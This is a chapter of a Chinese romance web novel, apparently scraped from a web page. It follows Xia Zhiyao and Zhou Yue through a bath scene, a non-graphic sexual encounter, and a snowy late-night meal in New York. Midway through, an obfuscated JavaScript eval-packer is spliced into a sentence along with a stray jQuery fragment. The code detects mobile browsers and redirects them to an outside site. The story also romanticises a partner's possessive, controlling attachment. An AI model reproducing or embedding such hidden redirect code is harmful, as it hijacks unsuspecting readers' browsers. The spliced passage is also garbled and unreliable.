浴室里弥漫着温柔的水汽，暖黄的灯光洒在瓷砖上，泛出一层朦胧的光晕。
夏知遥懒懒地靠在浴缸边沿，整个人像被水汽软化了，肌肤因热气泛着一层浅浅的红晕，发梢湿润地贴在肩头，整个人看上去柔软得仿佛能轻易融进这缸温热的水里。
周越抬手卷起一缕粉色的发丝，指尖轻轻绕了绕，像是在慢慢品味，也像是有点舍不得放开。他垂眸看了片刻，语气懒懒地带着点笑意：“你以前总是一头黑发，看起来干练又优雅，什么时候突然染了粉色？”
夏知遥懒懒地睁眼，透过氤氲的水汽望向窗外的夜景。霓虹闪烁，城市的边缘像是浸在梦里。
她嘴角轻勾，语气随意：“觉得好看啊，不行吗？”
周越轻轻一笑，手指还绕着那缕发，声音低低的，带着一丝温柔的嘲弄：“好看是好看……就是不像你。”
水面轻晃，夏知遥的指尖在水中缓缓滑动，眼神里掠过一抹浅淡的疲惫，她转头看了他一眼，语气低缓：“人总是会变的，不是吗？”
周越眉头轻蹙，身子微微向前倾，声音压低了些，带着试探与关切：“怎么？这几年过得不太顺？”
夏知遥轻轻笑了笑，没有正面回应。她抬手划过水面，水珠顺着手腕滑落，仿佛把那些未说出口的情绪一并带走。
“可能吧吗，染成粉色，起码看起来亮眼一点，别人也就不多问了。”
她语气淡淡的，眼神却落在水面某个模糊的倒影上，声音轻得像一阵风，“……像披了层保护色。挺方便的。”
话说得随意，可那份防备与疏离，周越听得清清楚楚，他垂眸看着她，手指松开那缕发丝，顺着她湿润的肩线缓缓滑下，最后轻轻拿起一条干毛巾，搭在她肩上，动作轻得像怕惊扰她，也像怕碰碎她小心隐藏的情绪。
“知遥，”他嗓音低哑，温柔得令人心软，“在我这，你不用伪装的，你喜欢干嘛就干嘛。”
夏知遥微微一怔，指尖顿在水面上，过了几秒，她才垂下眼睫，把自己重新靠回浴缸边沿，语气带笑，带着一丝调侃的敷衍：“你太认真了，周越。我真没想那么多，就是一直想着染个粉色试试，以前没机会，现在得偿所愿了而已。”她的话像是在避让，也像是故意将话题收束。
周越没再辩，唇角却勾起一抹意味深长的笑，眼神沉了几分：“好看就行。”
他缓缓地说，嗓音低而笃定，“不过……下次别想着拿这些花里胡哨的东西藏情绪了。”
他顿了顿，目光从她眉眼扫过，不动声色地看透：“你现在这个样子，想藏……也藏不住。”
夏知遥一愣，回过头和他对视，眼神那里面藏着太多东西，担心、心疼、宠溺，还有，太浓太深的喜欢。
她心口一紧，唇角却扬起一抹淡淡的自嘲：“你这么较真做什么？又不是谁都需要你的好意。”
周越似笑非笑地眯起眼睛，嗓音懒洋洋的，却带着无法抗拒的坚定：“较不较真无所谓。”
他慢条斯理地起身，低头看着她，
“关键是，你过得好不好，你要是不好，那就是我的事了。”这一句，像一把钥匙，把她所有精心维系的伪装劈头砸碎。
她的笑僵了几秒，垂下眼眸，在水中轻轻划着，过了好一会儿才低声开口：“我很好，不需要别人操心。”
“是吗？”周越没多说，只是眯着眼笑了笑，笑意淡，却笃定得像宣判。
他慢慢走近，随手整理了一下袖口，像是在为下一场战役做准备。俯身低头，居高临下地看着她，语气轻巧得像在开玩笑，眼神却沉着锋芒：“那我得好好看看，你，到底怎么个‘很好’法。”
夏知遥抬头看他，眼里闪着一点又气又恼的无奈：“周越，别闹了。这种幼稚的行为……”
“幼稚？”他挑了挑眉，声音低沉得几乎带着一点蛊惑的磁性：
“你不是说今晚让我留下吗？怎么，话才说完，就想反悔？”
她一噎，竟找不到话反驳。
周越看她这副样子，懒懒一笑，眼神又柔了几分，却藏着不动声色的占有欲：“放心。”
他慢慢俯身，唇贴在她耳侧，嗓音低得几乎化不开：“既然留下了……今晚开始，吃亏的人，只能是你。”
他说完，眼神深深地锁住她，像是一种无声的禁锢。
水汽缭绕中，他的身影与嗓音交织成无法抗拒的引力，将她一点点拉向那个藏着炽热与执念的深渊。
浴室的热度还未散尽，夏知遥被周越抱起，湿发贴在颈侧，水珠从发梢滑落，蜿蜒着落在他臂弯。
灯光昏黄，将两人交叠的身影印在床上，像一场被欲望裹挟的风暴，悄无声息地席卷而来。
夏知遥刚想起身，唇却已经被他覆住，他的吻很重，很急，带着一种压抑太久、几乎快要炸裂的情绪。他不像是在亲吻，更像在索取、在宣泄，甚至在逃避什么。
他抱着她，动作急促而紧绷，整个人仿佛在发烫，呼吸也失了序。
夏知遥怔了一下，眉心轻蹙，隐隐觉得哪里不对劲。
她试图稍微推开一些距离，却被他更用力地扣在怀里。他的吻根本不给她任何喘息的空隙，像是要把所有情绪都灌注进去，填满她的每一寸呼吸。
“知遥……”他喃喃地念着她的名字，嗓音沙哑得几乎撕裂，“别跑……别丢下我。”
他的吻一下一下落下，几乎带着一种近乎疯狂的执念，他的指尖滑过，紧紧攥住她的身体，像是在确认她真实的存在，又像是在抓住某种他怕失去的东西。
夏知遥被他紧紧抱着，几乎有些透不过气来。
“周越……”她轻声唤他，想让他冷静一点，声音里带着些不自觉的慌乱。
可他没停，额头抵着她的，黑眸灼灼地盯着她，像是从风暴中心逼近她的神明，低哑着嗓音一字一句：“别推我……从小到大，我只想要你。”
“哪怕你不想要我，我也不会放手。”那语气太坚定，也太沉重，沉重得让她有些恍神。
夏知遥望着他，心口狠狠一震，她能感觉到，他不是简单的情动。他的靠近，他的掌控，他的亲吻，像是把自己某一部分深藏的痛苦外化成了动作，可她说不清，只是觉得他今晚，比任何时候都急迫，都沉得可怕。
他的吻再次压下去，带着浓烈的炙热与呼吸交缠，一遍遍低喃：“你只能是我的。”
夏知遥闭上眼，指尖颤抖着攀上他的肩，她想说点什么，却最终什么都没说，她只觉得自己已经沦陷。
他太近，太热，太用力，仿佛要将她焚烧殆尽，水汽未散，夜色温柔得近乎溺人，他们交缠在一起，像两团火，灼烧，碰撞，彼此淹没，而她没有意识到，那些狂热背后，不只是爱，也有一场，未被察觉的、深藏心底的失控。
激情过后，房间里只剩下昏黄的灯光与两人逐渐平稳的呼吸。
夏知遥半倚在床头，懒洋洋地伸了个懒腰，顺手将被汗水打湿的发丝挽起，动作松散又妩媚，整个人透着一股刚过完情劫后的倦意与柔媚。
“饿了。”她揉了揉脖子，语气里半是抱怨、半是撒娇。
周越侧头看她，眼神落在她微微发红的肩颈，眸光暗了暗，随即笑了出来，语气带着一点促狭的调侃：“饿了？刚才还没吃饱？”他的语气轻松，眼神却温得像能溢出热度来。
夏知遥斜了他一眼，毫不客气地白了他一眼，拿起床头的水杯抿了一口，轻哼：“少废话。大半夜的，你不会真的打算让我空着肚子睡觉吧？”
“当然不敢。”周越一边笑着起身，一边随手捡起散落在床边的衬衫穿上，声音随意：“想吃什么？”
“随便。”她靠在床头懒懒地耸肩，“纽约嘛，不是什么都有？带我去点特别的。”
两人从酒店出来，夜色深沉，街道被新落的雪轻轻覆盖。曼哈顿的霓虹依旧闪烁，五光十色，仿佛连空气都带着点亮晶晶的冷意。
周越招了辆出租车，车门合上的刹那，暖风扑面而来，带走一身寒气，夏知遥缩进羽绒服里，侧头看着他，懒懒地问：“所以，到底要带我去哪？”
周越只是看着前方，眼里藏着一丝不明说的笑意：“等到了你就知道。”
车窗外的街景缓缓后退，雪花贴在玻璃上，模糊了外面的霓虹光影。随着车子驶向下东区，街道从摩登高楼渐渐过渡到更有生活气息的砖石老街，灯光也从华丽转为朴素。
最终，出租车在一块红色霓虹灯下停下，KATZ’SDELICATESSEN。
夏知遥下车，仰头看着这家带着浓浓复古气息的熟食店，微挑了下眉：“这里？”
“嗯。”
周越推开门，一股浓烈的肉香混着室内的暖气扑面而来。他神情随意，语气里却带着一丝安静的期待：“吃完你就知道了，保准比你那些法餐馆解馋。”
夏知遥嗅了嗅空气里的咸香，嘴角不自觉扬起一抹笑：“还挺有烟火气。”
店里灯光温暖，墙上挂满了黑白照片和老旧电影海报。吧台后，厨师正熟练地切着咸牛肉，刀声清脆，油香四溢。
他们在角落落座，周越熟练地翻着菜单，递给她：“这家店，据说1888年就有了，随便选。不过他们家的咸牛肉三明治，是招牌。”
夏知遥接过菜单，慢悠悠地翻了翻，语气里带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669920|173106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着点调侃：“你不会也是加班到大半夜来这吃饭吧？”
周越抬眼看她，神情悠然，声音里带着他一贯的淡然从容：“是啊，不过，要是想真懂一座城市，要从深夜开始，从这种地方开始。”
夏知遥轻轻一笑，不再打趣，点了一份咸牛肉三明治和犹太鸡汤，周越则要了熏牛肉三明治和咖啡。
不久后，热气腾腾的三明治端上桌。
她咬了一口，肉汁顺着厚实的牛肉渗进松软的面包，眼神瞬间亮了起来：“嗯……不错。”
周越举杯喝了一口饮料，侧头看着她唇角的笑意，眸中柔光浮动：“我就说你会喜欢。”
“可惜了。”夏知遥咬了一口牛肉，语气轻快，眼神却若有若无地扫过他，“这么好的地方，能和你一起来的人……应该不多吧？”
周越轻轻放下杯子，眼神在黑白老照片间停了几秒，语气却很轻：“你是第一个女生。”
夏知遥手中的动作一顿，垂眸笑了笑，轻轻应了一声：“那……真是荣幸。”
她低下头继续吃着，眼底却浮起一丝淡淡的情绪波纹，那是疲惫过后的暖，是清冷性格在深夜里，不知不觉流淌出的柔软。
而周越看着她，一边喝着饮料，手指却轻轻敲着桌面，他的动作很小，很轻，只有他自己知道，他的心跳其实还没完全平静，胸口的焦躁与悸动，也远比他表现得更难收拾。
那场亲密之后的平静，不过是表象，他太清楚自己今晚为什么那么急、那么用力，甚至连那句“你只能是我的”都说得失控。
他焦虑的时候，总需要靠身体的亲近来确认真实，只有抱紧她，才能抵御那种不确定的恐慌。
可她没发现。她只觉得他今晚有点不一样，却没问。
他也没打算解释，只是看着她，心里某个地方慢慢静下来，只要她在，哪怕焦虑不止，他也能暂时安稳下来。
两人走出餐厅，夜雪越下越大，街头被银白覆盖，寂静得像整座城市都睡着了，霓虹灯投在薄雪上，折射出柔和梦幻的光，像漫天失焦的星芒。
周越将手插进大衣口袋，侧头看了她一眼，眼里带着一丝若有若无的笑意：“刚才看到那些墙上的老照片了吗？”
夏知遥懒懒应了一声：“看见了，怎么，你也想上墙留名青史？”
周越失笑，脚步忽然一顿，转身站到她面前，整了整袖口，动作带着一点他惯有的从容，嗓音却低而认真：“不上墙，不过……可以拍一张。”
他顿了顿，目光落在她脸上，语气轻得几乎被风卷走，却格外笃定：“留个纪念。”
夏知遥挑眉，仰头看他，语气依旧淡淡的，眼神却慢慢收敛起戏谑：“纪念什么？”
周越没立刻回答，只是看着她，那一眼很轻，却沉得像雪落心湖。
“纪念今晚。”他说，“纪念你在我身边。”
他没有说出口的那句，是藏在心底的：如果哪天她再次悄然离开，至少他还能留下一个冬夜、一个她真的属于他怀里的证据。
夏知遥怔了怔，眼神微微动了一下，像被什么击中。
她低头，拉了拉羽绒服的拉链，整理领口的动作显得有些刻意：“那就快点吧，别真被你拍成冰雕了。”
周越笑了，没再逗她，缓缓掏出手机，搂住她，快门轻轻一响，画面定格，她站在雪夜中，霓虹勾勒出她淡粉色的发梢，湿润却依旧利落，肩头落着薄雪，神情里是熟悉的清冷和隐约的笑意，周越偏过头，吻落在她的发梢。
而周越的目光，却一直没有从屏幕上移开，他像是在透过这张照片，把她深深嵌进自己的生命。
这一刻，他焦虑的神经缓了一寸，拍下她，等于“拥有”她，等于某种暂时的确定。
他收起手机，还没开口，夏知遥已经凑过来看了一眼，轻哼着笑道：“拍得也太一般了吧？就这水平，还想留念？”
周越低笑，懒洋洋收起手机，语气温柔地毫不掩饰：“照片好不好看不重要。”
他顿了顿，目光深深落在她脸上，“重要的是人，是独一无二的。”
他说得轻，雪落无声，可语气却带着某种沉稳又疯狂的笃定。
夏知遥轻轻一哼，没再接话，只转身继续往前走，羽绒服下的肩膀微不可见地颤了颤，不知是风太冷，还是心里，被什么东西轻轻敲了一下。
她没回头，周越看着她的背影，步伐轻快却依旧孤傲，像只走在雪地里的狐狸，披着风雪，自由而美丽。
他慢慢跟上，搂住她的肩头，眼神里带着一抹淡淡的笑，却藏着深沉不动的偏执，只要她还在身边，他就还能稳住自己，而她要离开，他会疯。